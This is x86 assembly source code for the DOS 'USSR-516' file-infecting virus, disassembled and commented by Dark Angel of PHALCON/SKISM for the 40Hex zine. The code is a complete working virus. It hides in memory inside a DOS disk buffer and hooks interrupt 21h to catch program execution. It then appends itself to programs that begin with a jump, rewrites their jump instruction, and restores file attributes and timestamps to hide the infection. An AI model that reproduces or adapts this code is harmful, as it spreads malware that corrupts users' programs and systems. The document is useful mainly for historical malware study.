ussr516         segment byte public
                assume  cs:ussr516, ds:ussr516
                org     100h
;Disassembled by Dark Angel of PHALCON/SKISM
;for 40Hex Number 7 Volume 2 Issue 3
stub:           db      0e9h, 0, 0
                db      0e9h, 1, 0, 0
;This is where the virus really begins
start:
                push    ax
                call    beginvir

orig4           db      0cdh, 20h, 0, 0
int30store      db      0, 0, 0, 0                     ;Actually it's int 21h
                                                       ;entry point
int21store      db      0, 0, 0, 0

beginvir:       pop     bp                             ;BP -> orig4
                mov     si,bp
                mov     di,103h
                add     di,[di-2]                      ;DI -> orig4
                movsw                                  ;restore original
                movsw                                  ;4 bytes of program
                xor     si,si
                mov     ds,si
                les     di,dword ptr ds:[21h*4]
                mov     [bp+8],di                      ;int21store
                mov     [bp+0Ah],es
                lds     di,dword ptr ds:[30h*4+1]      ;Bug????
findmarker:
                inc     di
                cmp     word ptr [di-2],0E18Ah         ;Find marker bytes
                jne     findmarker                     ;to the entry point
                mov     [bp+4],di                      ;and move to
                mov     [bp+6],ds                      ;int30store
                mov     ax,5252h                       ;Get list of lists
                int     21h                            ;and also ID check

                add     bx,12h                         ;Already installed?
                jz      quitvir                        ;then exit
                push    bx
                mov     ah,30h                         ;Get DOS version
                int     21h

                pop     bx                             ;bx = 12, ptr to 1st
                                                       ;disk buffer
                cmp     al,3
                je      handlebuffer                   ;if DOS 3
                ja      handleDBHCH                    ;if > DOS 3
                inc     bx                             ;DOS 2.X, offset is 13
handlebuffer:
                push    ds
                push    bx
                lds     bx,dword ptr [bx]              ;Get seg:off of buffer
                inc     si
                pop     di
                pop     es                             ;ES:DI->seg:off buff
                mov     ax,[bx]                        ;ptr to next buffer
                cmp     ax,0FFFFh                      ;least recently used?
                jne     handlebuffer                   ;if not, go find it
                cmp     si,3
                jbe     quitvir
                stosw
                stosw
                jmp     short movetobuffer
handleDBHCH:   ;Disk Buffer Hash Chain Head array
                lds     si,dword ptr [bx]              ;ptr to disk buffer
                lodsw                                  ;info
                lodsw                                  ;seg of disk buffer
                                                       ;hash chain head array
                inc     ax                             ;second entry
                mov     ds,ax
                xor     bx,bx
                mov     si,bx
                lodsw                                  ;EMS page, -1 if not
                                                       ;in EMS
                xchg    ax,di                          ;save in di
                lodsw                                  ;ptr to least recently
                                                       ;used buffer
                mov     [di+2],ax                      ;change disk buffer
                                                       ;backward offset to
                                                       ;least recently used
                xchg    ax,di                          ;restore EMS page
                mov     [di],ax                        ;set to least recently
movetobuffer:                                          ;used
                mov     di,bx
                push    ds
                pop     es                             ;ES:DI -> disk buffer
                push    cs
                pop     ds
                mov     cx,108h
                lea     si,[bp-4]                      ;Copy from start
                rep     movsw
                mov     ds,cx                          ;DS -> interrupt table
                mov     word ptr ds:[4*21h],0BCh       ;New interrupt handler
                mov     word ptr ds:[4*21h+2],es       ;at int21
quitvir:
                push    cs                             ;CS = DS = ES
                pop     es
                push    es
                pop     ds
                pop     ax
                mov     bx,ax
                mov     si, 100h                       ;set up stack for
                push    si                             ;the return to the
                retn                                   ;original program
int24:
                mov     al,3                           ;Ignore all errors
                iret
tickstore       db      3                              ;Why???
buffer          db      3, 0, 9, 0

int21:
                pushf
                cli                                    ;CP/M style call entry
                call    dword ptr cs:[int30store-start]
                retn                                   ;point of int 21h

int21DSDX:                                             ;For int 21h calls
                push    ds                             ;with
                lds     dx,dword ptr [bp+2]            ;DS:DX -> filename
                call    int21
                pop     ds
                retn

                cmp     ax,4B00h                       ;Execute
                je      Execute
                cmp     ax,5252h                       ;ID check
                je      CheckID
                cmp     ah,30h                         ;DOS Version
                je      DosVersion
callorig21:                                            ;Do other calls
                jmp     dword ptr cs:[int21store-start]
DosVersion:     ;Why?????                              ;DOS Version
                dec     byte ptr cs:[tickstore-start]
                jnz     callorig21                     ;Continue if not 0
                push    es
                xor     ax,ax
                push    ax
                mov     es,ax
                mov     al,es:[46Ch]                   ; 40h:6Ch = Timer ticks
                                                       ; since midnight
                and     al,7                           ; MOD 15
                inc     ax
                inc     ax
                mov     cs:[tickstore-start],al        ;# 2-17
                pop     ax
                pop     es
                iret
CheckID:                                               ;ID Check
                mov     bx,0FFEEh                      ;FFEEh = -12h
                iret
Execute:                                               ;Execute
                push    ax                             ;Save registers
                push    cx
                push    es
                push    bx
                push    ds                             ;DS:DX -> filename
                push    dx                             ;save it on stack
                push    bp
                mov     bp,sp                          ;Set up stack frame
                sub     sp,0Ah                         ;Temporary variables
                                                       ;[bp-A] = attributes
                                                       ;[bp-8] = int 24 off
                                                       ;[bp-6] = int 24 seg
                                                       ;[bp-4] = file time
                                                       ;[bp-2] = file date
                sti
                push    cs
                pop     ds
                mov     ax,3301h                       ;Turn off ^C check
                xor     dl,dl                          ;(never turn it back
                call    int21                          ; on.  Bug???)
                mov     ax,3524h                       ;Get int 24h
                call    int21                          ;(Critical error)
                mov     [bp-8],bx
                mov     [bp-6],es
                mov     dx,int24-start
                mov     ax,2524h                       ;Set to new one
                call    int21
                mov     ax,4300h                       ;Get attributes
                call    int21DSDX
                jnc     continue
doneinfect:
                mov     ax,2524h                       ;Restore crit error
                lds     dx,dword ptr [bp-8]            ;handler
                call    int21
                cli
                mov     sp,bp
                pop     bp
                pop     dx
                pop     ds
                pop     bx
                pop     es
                pop     cx
                pop     ax
                jmp     short callorig21               ;Call orig handler
continue:
                mov     [bp-0Ah],cx                    ;Save attributes
                test    cl,1                           ;Check if r/o????
                jz      noclearattr
                xor     cx,cx
                mov     ax,4301h                       ;Clear attributes
                call    int21DSDX                      ;Filename in DS:DX
                jc      doneinfect                     ;Quit on error
noclearattr:
                mov     ax,3D02h                       ;Open read/write
                call    int21DSDX                      ;Filename in DS:DX
                jc      doneinfect                     ;Exit if error
                mov     bx,ax
                mov     ax,5700h                       ;Save time/date
                call    int21
                mov     [bp-4],cx
                mov     [bp-2],dx
                mov     dx,buffer-start
                mov     cx,4
                mov     ah,3Fh                         ;Read 4 bytes to
                call    int21                          ;buffer
                jc      quitinf
                cmp     byte ptr ds:[buffer-start],0E9h;Must start with 0E9h
                jne     quitinf                        ;Otherwise, quit
                mov     dx,word ptr ds:[buffer+1-start];dx = jmploc
                dec     dx
                xor     cx,cx
                mov     ax,4201h                       ;go there
                call    int21
                mov     ds:[buffer-start],ax           ;new location offset
                mov     dx,orig4-start
                mov     cx,4
                mov     ah,3Fh                         ;Read 4 bytes there
                call    int21
                mov     dx,ds:[orig4-start]
                cmp     dl,0E9h                        ;0E9h means we might
                jne     infect                         ;already be there
                mov     ax,ds:[orig4+2-start]          ;continue checking
                add     al,dh                          ;to see if we really
                sub     al,ah                          ;are there.
                jz      quitinf
infect:
                xor     cx,cx
                mov     dx,cx
                mov     ax,4202h                       ;Go to EOF
                call    int21
                mov     ds:[buffer+2-start],ax         ;save filesize
                mov     cx,204h
                mov     ah,40h                         ;Write virus
                call    int21
                jc      quitinf                        ;Exit if error
                sub     cx,ax
                jnz     quitinf
                mov     dx,ds:[buffer-start]
                mov     ax,ds:[buffer+2-start]
                sub     ax,dx
                sub     ax,3                           ;AX->jmp offset
                mov     word ptr ds:[buffer+1-start],ax;Set up buffer
                mov     byte ptr ds:[buffer-start],0E9h;code the jmp
                add     al,ah
                mov     byte ptr ds:[buffer+3-start],al
                mov     ax,4200h                       ;Rewind to jmploc
                call    int21
                mov     dx, buffer-start
                mov     cx,4                           ;Write in the jmp
                mov     ah,40h
                call    int21
quitinf:
                mov     cx,[bp-4]
                mov     dx,[bp-2]
                mov     ax,5701h                       ;Restore date/time
                call    int21
                mov     ah,3Eh                         ;Close file
                call    int21
                mov     cx,[bp-0Ah]                    ;Restore attributes
                mov     ax,4301h
                call    int21DSDX
                jmp     doneinfect                     ;Return
ussr516         ends
                end     stub